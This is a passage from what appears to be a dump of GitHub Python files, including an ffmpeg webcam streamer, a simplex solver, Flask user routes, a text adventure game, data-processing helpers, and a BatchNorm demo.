len(sys.argv) == 1:\n\t\t\tprint('must specify a config as parameter, aborting...')\n\t\t\texit()\n\n\t\tconfigUrl = sys.argv[1]\n\t\ttry:\n\t\t\twith open(configUrl) as confFile:\n\t\t\t\ttry:\n\t\t\t\t\treturn json.loads(confFile.read())\n\t\t\t\texcept ValueError:\n\t\t\t\t\tprint('config is not json, aborting...')\n\t\t\t\t\texit()\n\t\texcept IOError:\n\t\t\tprint('ethminer.conf not found, aborting...')\n\t\t\texit()\n\n\tdef start(self):\n\t\tcmd = ''\n\t\tif self.config['cam-type'] == 'webcam':\n\t\t\twebcamDev = self.config['webcam-dev']\n\t\t\twebcamFramerate = self.config['webcam-framerate']\n\t\t\twebcamResolution = self.config['webcam-resolution']\n\t\t\tcmd = '{encoder} -f video4linux2 -r {webcamFramerate} -s {webcamResolution} -i /dev/{webcamDev} -f flv {destinationUrl}'.format(\n\t\t\t\tencoder = self.config['encoder'],\n\t\t\t\twebcamFramerate = webcamFramerate,\n\t\t\t\twebcamResolution = webcamResolution,\n\t\t\t\twebcamDev = webcamDev,\n\t\t\t\tdestinationUrl = self.config['destination-url']\n\t\t\t)\n\t\telif self.config['cam-type'] == 'networkcam':\n\t\t\tstreamUrl = self.config['networkcam-url']\n\t\t\tcmd = '{encoder} -i \"{streamUrl}\" -c:v copy -c:a copy -f flv {destinationUrl}'.format(\n\t\t\t\tencoder = self.config['encoder'],\n\t\t\t\tstreamUrl = streamUrl,\n\t\t\t\tdestinationUrl = self.config['destination-url']\n\t\t\t)\n\t\tprint(cmd, '\\n')\n\t\tsubprocess.Popen(cmd, shell=True).communicate()\n\t\texit()\n\nStreamer()\n","repo_name":"philon123/StreamPi","sub_path":"streampi.py","file_name":"streampi.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39593224576","text":"\n# This method reads the file in the given path and builds up the starting variables we need\ndef parse_input_txt(input_path):\n input_file = open(input_path, \"r\")\n num_of_constraints, num_of_vars = map(int, input_file.readline().split())\n # All of the variables are constructed as a two dimensional array\n # Because we want all of them to be in matrix form\n c = [list(map(int, input_file.readline().split()))]\n A = []\n b = []\n for i in range(num_of_constraints): \n line = list(map(int, input_file.readline().split()))\n A.append(line[:-1])\n b.append([line[-1]])\n return num_of_constraints, num_of_vars, A, b, c\n\n# Since the problem is not given in canonical form we add slacks to each constraint\n# Every constaint has the lesser than ot equal to constraint and the right-hand sides are non-negative\n# So we simply add a slack to each constraint and the canonical form is achieved\ndef add_slacks(A, c, num_of_constraints): \n # New A matrix is constructed by adding the corresponding 1s and 0s to the end\n for row in range(num_of_constraints):\n for i in range(num_of_constraints): \n if i == row: \n A[row].append(1)\n else: \n A[row].append(0)\n # Similarly the objective function variables -c- should be extended with 0s\n for i in range(num_of_constraints):\n c[0].append(0)\n return A, c, len(A[0])\n\ndef matrix_multiply(A, B): \n row_A = len(A)\n col_A = len(A[0])\n col_B = len(B[0])\n result = [[0 for i in range(col_B)] for j in range(row_A)]\n for i in range(row_A): \n for j in range(col_B): \n res = 0\n for k in range(col_A): \n res += A[i][k] * B[k][j]\n result[i][j] = res\n return result\n\ndef transposeMatrix(A):\n return list(map(list,zip(*A)))\n\ndef getMatrixMinor(A,i,j):\n return [row[:j] + row[j+1:] for row in (A[:i]+A[i+1:])]\n\ndef getMatrixDeterminant(A):\n #base case for 2x2 matrix\n if len(A) == 2:\n return A[0][0]*A[1][1]-A[0][1]*A[1][0]\n\n determinant = 0\n for c in range(len(A)):\n determinant += ((-1)**c)*A[0][c]*getMatrixDeterminant(getMatrixMinor(A,0,c))\n return determinant\n\n#This method finds the inverse of a given matrix using determinant and the adjoint matrix of A\ndef inverse(A):\n determinant = getMatrixDeterminant(A)\n #special case for 2x2 matrix:\n if len(A) == 2:\n return [[A[1][1]/determinant, -1*A[0][1]/determinant],\n [-1*A[1][0]/determinant, A[0][0]/determinant]]\n\n #find matrix of cofactors\n cofactors = []\n for r in range(len(A)):\n cofactorRow = []\n for c in range(len(A)):\n minor = getMatrixMinor(A,r,c)\n cofactorRow.append(((-1)**(r+c)) * getMatrixDeterminant(minor))\n cofactors.append(cofactorRow)\n cofactors = transposeMatrix(cofactors)\n for r in range(len(cofactors)):\n for c in range(len(cofactors)):\n cofactors[r][c] = cofactors[r][c]/determinant\n return cofactors\n\ndef matrix_sub(A, B): \n row = len(A)\n col = len(A[0])\n result = [[0 for i in range(col)] for j in range(row)]\n for i in range(row): \n for j in range(col):\n result[i][j] = A[i][j] - B[i][j]\n return result\n\n#This method takes a list of base indexes that should be included in the B matrix and A itself\ndef build_base_matrix(A, base_list): \n result = []\n for row in A: \n result_row = []\n for i in base_list: \n result_row.append(row[i])\n result.append(result_row)\n return result\n\n#This method checks the final objective function variables and returns the the index of the smallest value\n#If there are no variable with a negative value this method returns -1 which corresponds to not found\ndef control_objective_row(C): \n min_el = 0\n min_ind = -1\n for ind in range(len(C[0])):\n el = C[0][ind]\n if el < min_el: \n min_el = el\n min_ind = ind\n return min_ind\n\n#In order to advance in the Simplex algorithm an incoming index should be replaced with a chosen index\ndef find_outgoing_index(A, b, incoming_index):\n search_col = incoming_index\n min_ratio = float(\"inf\")\n min_ind = -1\n #A ratio test is done to determine an outgoing index\n for i in range(len(A)):\n #If the variable inside the chosen column is not positive it cant be chosen\n #The small value instead of a direct 0 is due to float presicion\n if A[i][search_col] <= 0.0000001:\n continue\n ratio = b[i][0] / A[i][search_col]\n #Searching for the smallest non-negative ratio\n if ratio >= 0 and ratio < min_ratio:\n min_ind = i\n min_ratio = ratio\n #There is a possibility that this method returns -1\n #Which means that there are no constraints limiting this incoming variable\n #Therefore the problem is unbounded\n return min_ind\n\n#Prints out the current instance of the tableu\ndef print_simplex_tableu(A, b, c, z): \n for i in range(len(A)):\n for j in range(len(A[0])):\n print(\"{:6.2f}\".format(A[i][j]),end=\" \")\n print(\"| {:6.2f}\".format(b[i][0]))\n print(\"-\"*7*(len(A[0])+2))\n for i in range(len(c[0])):\n print(\"{:6.2f}\".format(c[0][i]),end=\" \")\n print(\"| {:6.2f}\".format(z[0][0]))\n print()\n\ninput_path = \"Data3.txt\"\nnum_of_constraints, num_of_vars, A, b, c = parse_input_txt(input_path)\nA, c, num_of_vars = add_slacks(A, c, num_of_constraints)\nz0 = [[0]]\n\n#The starting base is consisting of the last elements due to the slack variables we added\nbase = [num_of_vars + i - num_of_constraints for i in range(num_of_constraints)]\n\n#The star variables are the loop variables\n#They are given the initial values here and they will be changed repeatedly in the loop\nA_star = A\nc_star = c\nb_star = b\nz0_star = z0\nwhile True:\n #Printing out the current tableu\n print_simplex_tableu(A_star, b_star, c_star, z0_star)\n\n #Trying to improve current tableu by adding a variable to the base\n base_incoming_index = control_objective_row(c_star)\n if base_incoming_index == -1:\n #There are no variables in the objective function which choosing it improves current situation\n #Current tableu is optimal\n initial_num_of_vars = num_of_vars-num_of_constraints # The count of initial variables that are not slacks\n solution = [0 for i in range(initial_num_of_vars)]\n for i in range(len(base)):\n if base[i] < initial_num_of_vars:\n solution[base[i]] = b_star[i][0]\n\n print(\"Solution : [\",end=\"\")\n for i in range(len(solution)):\n print(\"{:.2f} \".format(solution[i]),end=\"\")\n print(\"]\")\n print(\"Optimal Result: {:.2f}\".format(z0_star[0][0]*-1))\n break\n #Since we add a variable to the base, we should remove one variable from the base using ratio test\n base_outgoing_index = find_outgoing_index(A_star, b_star, base_incoming_index)\n if base_outgoing_index == -1:\n #Ratio test could not find any feasible point\n #Which means the problem is unbounded\n print(\"NO SOLUTION\")\n break\n\n #The swapping part of incoming and outgoing variables\n base[base_outgoing_index]=base_incoming_index\n\n #Since the base is changed, the A,b,c and z0 matrices are updated\n B = build_base_matrix(A_star, base)\n c_B = build_base_matrix(c_star, base)\n B_inverse = inverse(B)\n\n A_star = matrix_multiply(B_inverse, A_star)\n b_star = matrix_multiply(B_inverse, b_star)\n c_star = matrix_sub(c_star, matrix_multiply(c_B, A_star))\n z0_star = matrix_sub(z0_star, matrix_multiply(c_B, b_star))\n\n","repo_name":"EmreBatuhan/Simplex-Algorithm","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15373451631","text":"from sqlalchemy import Boolean, Column, ForeignKey, Integer, String, Date, MetaData\nfrom sqlalchemy.orm import relationship\n\nfrom database import Base, engine\n\nmetadata = MetaData(engine)\n\n\nclass Car(Base):\n # 定义表名\n __tablename__ = \"car\"\n # 定义字段\n carno = Column(String(15), index=True, primary_key=True)\n owner = Column(String(20), index=True, )\n brand = Column(String(20))\n\n records = relationship('Record', back_populates='car')\n\n\nclass Record(Base):\n # 定义表名\n __tablename__ = \"record\"\n # 定义字段\n id = Column(Integer, primary_key=True, autoincrement=True)\n reason = Column(String(255))\n makedate = Column(Date)\n punish = Column(String(255))\n dealt = Column(Boolean, default=False)\n car_no = Column(String(15), ForeignKey('car.carno'))\n\n car = relationship(\"Car\", back_populates=\"records\")\n","repo_name":"spade-z-1/fastapi_carRecord","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15262015779","text":"from bson import json_util\nfrom flask import request, Response, flash\nfrom ..db import db\nfrom ...login_manager import restricted\nfrom flask_login import login_required, current_user\n\nusers = db['Users']\n\n\nclass Users(object):\n def __init__(self, blueprint=None):\n if blueprint is not None:\n self.register_user_routes(blueprint)\n\n def register_user_routes(self, bp):\n @bp.route('/users', methods=['GET'])\n @restricted(access_level=\"admin\")\n @login_required\n def get_user():\n res_obj = {}\n try:\n users_retrieved = users.find({'category': 'user'}, {'email', 'name', 'category'})\n users_as_list = list(users_retrieved)\n res_obj[\"data\"] = users_as_list\n res_obj[\"error\"] = \"\"\n return Response(json_util.dumps(res_obj), status=200, mimetype=\"application/json\")\n except Exception as e:\n res_obj[\"error\"] = \"Could not retrieve users\"\n res_obj[\"data\"] = []\n return Response(json_util.dumps(res_obj), status=500, mimetype='application/json')\n\n @bp.route('/users', methods=['DELETE'])\n @login_required\n def delete_user():\n res_obj = {\"error\": \"\"}\n print(request.is_json)\n if request.is_json:\n content = request.get_json()\n else:\n res_obj[\"error\"] = \"Bad Request\"\n return Response(json_util.dumps(res_obj), status=500, mimetype=\"application/json\")\n\n if \"email\" not in content:\n res_obj[\"error\"] = \"Wrong params\"\n return Response(json_util.dumps(res_obj), status=500, mimetype=\"application/json\")\n\n user_mail = content[\"email\"]\n message = \"Account deleted successfully\"\n\n if current_user.category == \"user\":\n if current_user.id != user_mail:\n res_obj[\"error\"] = \"Wrong params\"\n return Response(json_util.dumps(res_obj), status=500, mimetype=\"application/json\")\n else:\n if current_user.id != user_mail:\n message = \"User deleted successfully\"\n\n try:\n user_to_delete = users.find_one({\"email\": user_mail})\n if user_to_delete:\n users.delete_one(user_to_delete)\n\n res_obj[\"error\"] = \"OK\"\n flash(message, \"sucess\")\n return Response(json_util.dumps(res_obj), status=200, mimetype=\"application/json\")\n else:\n res_obj[\"error\"] = \"We did not find the user\"\n return Response(json_util.dumps(res_obj), status=500, mimetype='application/json')\n except Exception as e:\n res_obj[\"error\"] = \"User could not be deleted\"\n return Response(json_util.dumps(res_obj), status=500, mimetype='application/json')\n\n @bp.route('/users', methods=['PUT'])\n @restricted(access_level=\"admin\")\n @login_required\n def make_user_admin():\n res_obj = {\"error\": \"\"}\n\n if request.is_json:\n content = request.get_json()\n else:\n res_obj[\"error\"] = \"Bad Request\"\n return Response(json_util.dumps(res_obj), status=500, mimetype=\"application/json\")\n\n if \"email\" not in content:\n res_obj[\"error\"] = \"Wrong params\"\n return Response(json_util.dumps(res_obj), status=500, mimetype=\"application/json\")\n user_mail = content[\"email\"]\n\n user_to_delete = users.find_one({\"email\": user_mail})\n\n if not user_to_delete:\n res_obj[\"error\"] = \"Could not find the user\"\n return Response(json_util.dumps(res_obj), status=500, mimetype='application/json')\n\n try:\n users.update_one({\"email\": user_mail}, {\"$set\": {\"category\": \"admin\"}})\n res_obj[\"error\"] = \"OK\"\n flash(\"User \" + user_mail + \" is now admin.\", \"sucess\")\n return Response(json_util.dumps(res_obj), status=200, mimetype=\"application/json\")\n except Exception as e:\n res_obj[\"error\"] = \"User could not be updated\"\n return Response(json_util.dumps(res_obj), status=500, mimetype='application/json')\n","repo_name":"P4yBill/MovieFlix","sub_path":"flask-app/app/routes/api/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26593594965","text":"import time\r\nfrom random import randint\r\n\r\n\r\n\r\n#displays the current room of the player\r\ndef user_look(current_room):\r\n print('\\n' + current_room['name'])\r\n print('_' * len(current_room['name']) + '\\n')\r\n print(current_room['text'])\r\n print('_' * len(current_room['text']) + '\\n')\r\n if len(current_room['contents']) >= 1:\r\n print('in the room there is:')\r\n for s in current_room['contents']:\r\n print(s)\r\n time.sleep(1)\r\n else:\r\n print('there are no obtainable objects in this room')\r\n \r\n print('there are exits to the:')\r\n #checks for which exits are available in each room.\r\n if 'east' in current_room:\r\n print('east')\r\n time.sleep(1)\r\n if 'west' in current_room:\r\n print('west')\r\n time.sleep(1)\r\n if 'north' in current_room:\r\n print('north')\r\n time.sleep(1)\r\n if 'south' in current_room:\r\n print('south')\r\n time.sleep(1)\r\n if 'up' in current_room:\r\n print('up')\r\n time.sleep(1)\r\n if 'down' in current_room:\r\n print('down')\r\n time.sleep(1)\r\n\r\ndef inventory_check(inventory, current_room,):\r\n if len(inventory) > 10:\r\n time.sleep(1)\r\n print(\"\\nyou're carrying too much.\")\r\n print('what will you drop?')\r\n item = input(':')\r\n if item in inventory:\r\n current_room['contents'].append(item)\r\n inventory.remove(item)\r\n print('you have dropped ' + item)\r\n\r\n else:\r\n print(item + ' is not in your inventory')\r\n\r\ndef torchcheck(command, inventory, rooms, current_room, dead):\r\n if 'torch' in inventory:\r\n print('the torchlight reveals ancient scriptures on the wall:')\r\n current_room = rooms['cell_room']\r\n \r\n return \r\n elif 'torch' not in inventory:\r\n print('are you sure you want to continue without the torch?')\r\n command = input(':').lower()\r\n if command in ('yes', 'y'):\r\n print('you trip in the dark and die')\r\n \r\n dead = True\r\n return dead\r\n elif command in ('no', 'n'):\r\n print('wise decision')\r\n current_room = rooms['corridor']\r\n \r\n return \r\n\r\ndef takescript(command, inventory, rooms, current_room):\r\n if len(command) - len(command.split()[0]) >= 1:\r\n item = command.lower().split()[1]\r\n if item in ('bale', 'hay', 'chest', 'throne', 'door'):\r\n print('the ' + item + ' is too heavy')\r\n \r\n return \r\n elif item in current_room['contents']:\r\n current_room['contents'].remove(item)\r\n inventory.append(item)\r\n print(item + ' is now in your inventory')\r\n \r\n return \r\n else:\r\n print(item + ' is not in the room')\r\n \r\n return \r\n elif len(command) - len(command.split()[0]) < 1:\r\n print(\"i don't know what you want me to \" + command.split()[0])\r\n \r\n return \r\n\r\ndef dropscript(command, inventory, rooms, current_room):\r\n if command.lower().split()[0] == 'drop':\r\n if len(command) - len(command.split()[0]) >= 1:\r\n item = command.lower().split()[1]\r\n if item in inventory:\r\n current_room['contents'].append(item)\r\n inventory.remove(item)\r\n print(' you have dropped ' + item)\r\n \r\n else:\r\n print(item + ' is not in your inventory')\r\n \r\n else:\r\n print(\"i don't know what you want me to drop\")\r\n \r\ndef readcript(command, current_room):\r\n if current_room['name'] == 'graveyard':\r\n try: \r\n if command.split()[1] == 'gravestones':\r\n print('On the first is: Elliot Barnster, died at 23 after being hit by a bus.')\r\n time.sleep(1)\r\n print('On the second is: Jane Watson, died at 51.') \r\n time.sleep(1)\r\n print('On the third is: Harry McSquire, died at 87. He will be missed.')\r\n \r\n if command.split()[1] == 'note':\r\n print('The note reads: 2 of us died in our prime, one of us did not.')\r\n time.sleep(1)\r\n print('Guess the grave I lie in, and you can have the lot.')\r\n \r\n except:\r\n print('that was not clear enough')\r\n \r\ndef digscript(command, current_room, inventory, dead, gravedug):\r\n if current_room['name'] == 'graveyard' and gravedug == False:\r\n if 'shovel' in inventory:\r\n if '2' in command:\r\n time.sleep(1)\r\n print('you chose wisely')\r\n print('now use my number open your treasure')\r\n time.sleep(1)\r\n inventory.append('a rock')\r\n print('at the bottom of the grave is a rock.')\r\n \r\n gravedug = True\r\n return gravedug\r\n elif '1' in command or '3' in command:\r\n print('you chose unwisely.')\r\n time.sleep(1)\r\n print('hahaha')\r\n dead = True\r\n return dead\r\n else:\r\n print('which one?')\r\n command = input(':').lower()\r\n if '2' in command:\r\n time.sleep(1)\r\n print('you chose wisely')\r\n print('now use my number open your treasure')\r\n time.sleep(1)\r\n inventory.append('a rock')\r\n print('at the bottom of the grave is a rock.')\r\n \r\n gravedug = True\r\n return gravedug\r\n elif '1' in command or '3' in command:\r\n print('you chose unwisely.')\r\n time.sleep(1)\r\n print('hahaha')\r\n dead = True\r\n else:\r\n print('you would need a shovel to do that')\r\n \r\n return \r\n else:\r\n print('it would be stupid to dig here')\r\n \r\n return \r\n\r\ndef usescript(command, inventory, rock_broken):\r\n if 'rock_tumbler' in command:\r\n if 'rock_tumbler' and 'a rock' in inventory and rock_broken == False:\r\n print('you place the rock in your rock rumbler')\r\n time.sleep(2)\r\n print('opening the tumbler, you find an old, rusty key')\r\n inventory.remove('a rock')\r\n inventory.append('key')\r\n rock_broken = True\r\n return rock_broken \r\n elif 'rock' not in inventory:\r\n print('you cannot use the rock tumbler with a rock')\r\n elif rock_broken == True:\r\n print('unfortunatley, the rock tumbler broke when you used it')\r\n else:\r\n print('you cannot use anything here')\r\n\r\ndef openscript(command, inventory, current_room, rounddone, user_input):\r\n if current_room['name'] == 'chest_room':\r\n print('what is the lock combination')\r\n combination = input(':')\r\n if combination == '51': \r\n print('you open the chest')\r\n time.sleep(1)\r\n print('you find a rock tumbler')\r\n print('keep it?')\r\n command = input(':').lower()\r\n if 'yes' in command:\r\n print('you take the rock tumbler')\r\n inventory.append('rock_tumbler')\r\n rounddone = True\r\n opened = True\r\n return opened and rounddone\r\n if 'no' in command:\r\n print('you leave the rock tumbler')\r\n current_room['contents'].append('rock_tumbler')\r\n rounddone = True\r\n else:\r\n print('wrong combination')\r\n rounddone = True\r\n opened = True\r\n if current_room['name'] == 'barn_attic':\r\n print('you attempt to open the door')\r\n time.sleep(1)\r\n if 'key' in inventory:\r\n print('you use your key to open the door')\r\n current_room['east'] = 'opening2'\r\n rounddone = True\r\n inventory.remove('key')\r\n opened = True\r\n else:\r\n print('you do not have the key')\r\n rounddone = True\r\n opened = True\r\n if current_room['name'] == 'cell_room':\r\n print('you attempt to open one of the cell doors')\r\n time.sleep(1)\r\n if 'cell_key' in inventory:\r\n print('you manage to open one of the cell doors.')\r\n print('the key was too fragile and broke before you could take it')\r\n print('there is a tunic here')\r\n print('take it?')\r\n command = (user_input)\r\n if command in ('y', 'yes'):\r\n print('you put the tunic on immediatly')\r\n inventory.append('leather_tunic')\r\n rounddone = True\r\n opened = True\r\n elif command in ('n', 'no'):\r\n print('you drop the tunic')\r\n current_room['contents'].append('leather_tunic')\r\n rounddone = True\r\n opened = True\r\n else:\r\n print('ok')\r\n current_room['contents'].append('leather_tunic')\r\n rounddone = True\r\n opened = True\r\n elif 'key' in inventory:\r\n print('you do not possess the correct key')\r\n rounddone = True\r\n opened = True\r\n else: \r\n print('they are locked shut')\r\n rounddone = True\r\n opened = True\r\n elif rounddone != True:\r\n print('there is nothing to open here')\r\n\r\ndef insertcript(command, inventory, current_room, Enemy):\r\n if current_room['name'] == 'opening' and 'circular_jewel' in command:\r\n if 'circular_jewel' in inventory:\r\n print('you insert the jewel into the hilt of the sword.')\r\n print('the stone surrounding the sword breaks apart, revealing a long, silver broadsword')\r\n inventory.append('silver_broadsword')\r\n current_room['text'] = 'another opening, but with segments of stone scattered around.'\r\n serpent = Enemy('serpent', 1)\r\n current_room['enemy'] = serpent\r\n elif 'circular_jewel' not in inventory:\r\n print('you cannot place what do you do not have')\r\n else:\r\n print('no')\r\n\r\ndef combatscript(command, inventory, current_room, dead):\r\n from Salute_Mundi import Enemy\r\n current_enemy = current_room['enemy']\r\n print('a ' + current_enemy + ' approaches you')\r\n enemyat = randint(1, 7)\r\n playerat = randint(1, 10)\r\n if 'silver_broadsword' in inventory:\r\n playerat += 3\r\n if current_enemy[damage] + enemyat > playerat:\r\n print('your encounter with the beast has lead to your death.')\r\n dead = True\r\n elif current_enemy[damage] + enemyat <= playerat:\r\n print('you kill the beast')\r\n \r\n\r\n","repo_name":"Shropshire-EGIT/Connor-s_text_adventure","sub_path":"text adventure/definitions.py","file_name":"definitions.py","file_ext":"py","file_size_in_byte":11035,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"24776852441","text":"class Solution:\n def reverseBetween(self, head: Optional[ListNode], left: int, right: int) -> Optional[ListNode]: \n dummy_node = ListNode(0, head)\n \n leftPrev, curr = dummy_node, head\n for i in range(left - 1):\n leftPrev, curr = curr, curr.next \n\n prev = None\n for i in range(right - left + 1):\n tnext = curr.next \n curr.next = prev \n prev, curr = curr, tnext \n\n \n leftPrev.next.next = curr\n leftPrev.next = prev\n return dummy_node.next\n","repo_name":"amitchew/competitive-programming","sub_path":"reverse-linked-list-ii.py","file_name":"reverse-linked-list-ii.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22803519460","text":"\"application to fight wars\"\n\nimport os\n\ndef funcx():\n \"function to launch missiles\"\n print(\"in funcx\")\n\nclass Sample:\n \"\"\"a non violent class used\n as a pacifist\"\"\"\n\n data = 10\n\nprint(f\"__name__ = {__name__}\")\nprint(f\"os.__name__ = {os.__name__}\")\n","repo_name":"shobhit-nigam/qti_pygames","sub_path":"class_codes/day4/adv_concepts/7__name__.py","file_name":"7__name__.py","file_ext":"py","file_size_in_byte":263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43883400496","text":"\"\"\"\nstats\n\n\"\"\"\nimport logging\nimport resource\nimport socket\nimport time\n\nfrom statelessd import base\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass Stats(base.RequestHandler):\n \"\"\"Gather stats counters from RabbitMQ objects and return as JSON object\"\"\"\n\n def initialize(self):\n \"\"\"Initial the Request Handler making sure that the connection and\n channel handlers are held in the application scope for this process.\n\n \"\"\"\n super(Stats, self).initialize()\n if not hasattr(self.application, 'rabbitmq'):\n setattr(self.application, 'rabbitmq', dict())\n if not hasattr(self.application, 'host'):\n setattr(self.application, 'host',\n socket.gethostname())\n\n def _base_stats(self):\n \"\"\"Return base stats including resource utilization for this process.\n\n :rtype: dict\n\n \"\"\"\n usage = resource.getrusage(resource.RUSAGE_SELF)\n return {'host': self.application.host,\n 'port': self.application.port,\n 'requests': self.application.counters,\n 'timestamp': int(time.time()),\n 'block': {'input': usage.ru_inblock,\n 'output': usage.ru_oublock},\n 'context_switches': usage.ru_nvcsw + usage.ru_nivcsw,\n 'cpu_time': {'user': usage.ru_utime,\n 'system': usage.ru_stime},\n 'memory_usage': usage.ru_maxrss,\n 'page_faults': {'minor': usage.ru_minflt,\n 'major': usage.ru_majflt},\n 'page_size': resource.getpagesize(),\n 'signals_received': usage.ru_nsignals,\n 'swap_outs': usage.ru_nswap}\n\n def get(self, *args, **kwargs):\n \"\"\"Get the stats, returning a JSON object with the info.\n\n :param tuple args: positional arguments\n :param dict kwargs: keyword arguments\n\n \"\"\"\n output = self._base_stats()\n output['connections'] = dict()\n for key in self.application.rabbitmq.keys():\n output['connections'][key] = self.application.rabbitmq[key].stats\n self.write(output)\n","repo_name":"gmr/statelessd","sub_path":"statelessd/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"82"} +{"seq_id":"30871670862","text":"import numpy as np\nfrom collections import Counter\n\n\ndef detect_outliers(dataset, n, features):\n \"\"\"\n Detecting outliers function.\n :param dataset:\n :param n: outliers threshold\n :param features:\n :return: list of the indices corresponding to the observations containing more than n outliers according\n to the Tukey method.\n \"\"\"\n outlier_indices = []\n\n # iterate over features(columns)\n for col in features:\n # 1st quartile (25%)\n Q1 = np.percentile(dataset[col], 25)\n # 3rd quartile (75%)\n Q3 = np.percentile(dataset[col], 75)\n # Interquartile range (IQR)\n IQR = Q3 - Q1\n\n # outlier step\n outlier_step = 1.5 * IQR\n\n # Determine a list of indices of outliers for feature col\n outlier_list_col = dataset[(dataset[col] < Q1 - outlier_step) | (dataset[col] > Q3 + outlier_step)].index\n\n # append the found outlier indices for col to the list of outlier indices\n outlier_indices.extend(outlier_list_col)\n\n # select observations containing more than n outliers\n outlier_indices = Counter(outlier_indices)\n multiple_outliers = [k for k, v in outlier_indices.items() if v > n]\n\n return multiple_outliers\n\n\ndef normalize_data(features):\n \"\"\"\n Normalize features.\n Normalizes input features X. Returns a normalized version of X where\n the mean value of each feature is 0 and deviation is close to 1.\n :param features: set of features.\n :return: normalized set of features.\n \"\"\"\n\n features_normalized = np.copy(features).astype(float)\n features_mean = np.mean(features, 0)\n features_deviation = np.std(features, 0)\n\n if features.shape[0] > 1:\n features_normalized -= features_mean\n\n # Normalize each feature values so that all features are close to [-1:1].\n # Also prevent division by zero error.\n if features_deviation[features_deviation == 0]:\n features_deviation[features_deviation == 0] = 1\n features_normalized /= features_deviation\n\n return features_normalized\n","repo_name":"smaystr/rails_reactor","sub_path":"examine_datasets/04/utils/dataset_processing.py","file_name":"dataset_processing.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"23238973571","text":"import numpy as np\nimport pandas as pd\n\nimport random\n\ntrueMu = 4\ntrueSigma= 7\ncensorMu = 1\ncensorSigma = 1\n\nnrows = 20000\n\ndfDict = {'truemean':list(np.random.normal(trueMu,trueSigma,nrows)),'lowercensor':list(np.random.normal(censorMu, censorSigma, nrows))}\ndf = pd.DataFrame(dfDict)\n\ndf['seenResponse'] = df.max(axis=1)\n\ndf['censored'] = df['lowercensor']>df['truemean']\n\ndf.to_csv('normal.csv')\n","repo_name":"H-B-P/censorwork","sub_path":"normal/censorship/gen_censor_data.py","file_name":"gen_censor_data.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29193517148","text":"import argparse\nimport json\nimport random\n\nrandom.seed(42)\n\n\ndef sample(args):\n with open(args.dataset_path, mode=\"r\") as f:\n dataset_list = json.load(f)\n\n sampled_dataset = [\n {\"instruction\": sample[\"instruction\"], \"id\": idx}\n for idx, sample in enumerate(random.sample(dataset_list, args.sample_size))\n ]\n\n with open(args.save_path, mode=\"w\") as f:\n json.dump(sampled_dataset, f, indent=4, default=str, ensure_ascii=False)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--dataset_path\", type=str, default=None, required=True, help=\"path to the pretrain dataset\")\n parser.add_argument(\"--save_path\", type=str, default=\"prompt.json\", help=\"path to save the prompt dataset\")\n parser.add_argument(\"--sample_size\", type=int, default=16384, help=\"size of the prompt dataset\")\n args = parser.parse_args()\n sample(args)\n","repo_name":"hpcaitech/ColossalAI","sub_path":"applications/Chat/examples/generate_prompt_dataset.py","file_name":"generate_prompt_dataset.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":35338,"dataset":"github-code","pt":"62"} +{"seq_id":"7750491575","text":"from controllers import LoginUserControllers, registroUserControllers, LoginUserControllers2,registroUserControllers2\n\n\nuser = {\n \"login_user\": \"/api/v01/user/login\", \"login_user_controllers\": LoginUserControllers.as_view(\"login_api\"),\n \"login2_user\": \"/api/v01/user/login2\", \"login2_user_controllers\": LoginUserControllers2.as_view(\"login2_api\"),\n \"registro_user\": \"/api/v01/user/registro\", \"registro_user_controllers\": registroUserControllers.as_view(\"registro_api\"),\n \"registro2_user\": \"/api/v01/user/registro2\", \"registro2_user_controllers\": registroUserControllers2.as_view(\"registro2_api\")\n}\n\n","repo_name":"andres518/proyecto-MarketTime","sub_path":"Back/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30715233915","text":"\"\"\"\n模拟 BN 的前向操作\n\"\"\"\nimport torch\nimport torch.nn as nn\nimport torch.nn.modules.batchnorm\n\n\n# 创建随机输入\ndef create_inputs():\n return torch.randn(8, 3, 20, 20)\n\n\n# 以 BatchNorm2d 为例\n# mean_val, var_val 不为None时,不对输入进行统计,而直接用传进来的均值、方差\ndef dummy_bn_forward(x, bn_weight, bn_bias, eps, mean_val=None, var_val=None):\n if mean_val is None:\n mean_val = x.mean([0, 2, 3])\n if var_val is None:\n # 这里需要注意,torch.var 默认算无偏估计,因此需要手动设置unbiased=False\n var_val = x.var([0, 2, 3], unbiased=False)\n\n x = x - mean_val[None, ..., None, None]\n x = x / torch.sqrt(var_val[None, ..., None, None] + eps)\n x = x * bn_weight[..., None, None] + bn_bias[..., None, None]\n return mean_val, var_val, x\n\nbn_layer = nn.BatchNorm2d(num_features=3)\ninputs = create_inputs()\n# 用 pytorch 的实现 forward\nbn_outputs = bn_layer(inputs)\n# 用 dummy bn 来 forward\n_, _, expected_outputs = dummy_bn_forward(\n inputs, bn_layer.weight, bn_layer.bias, 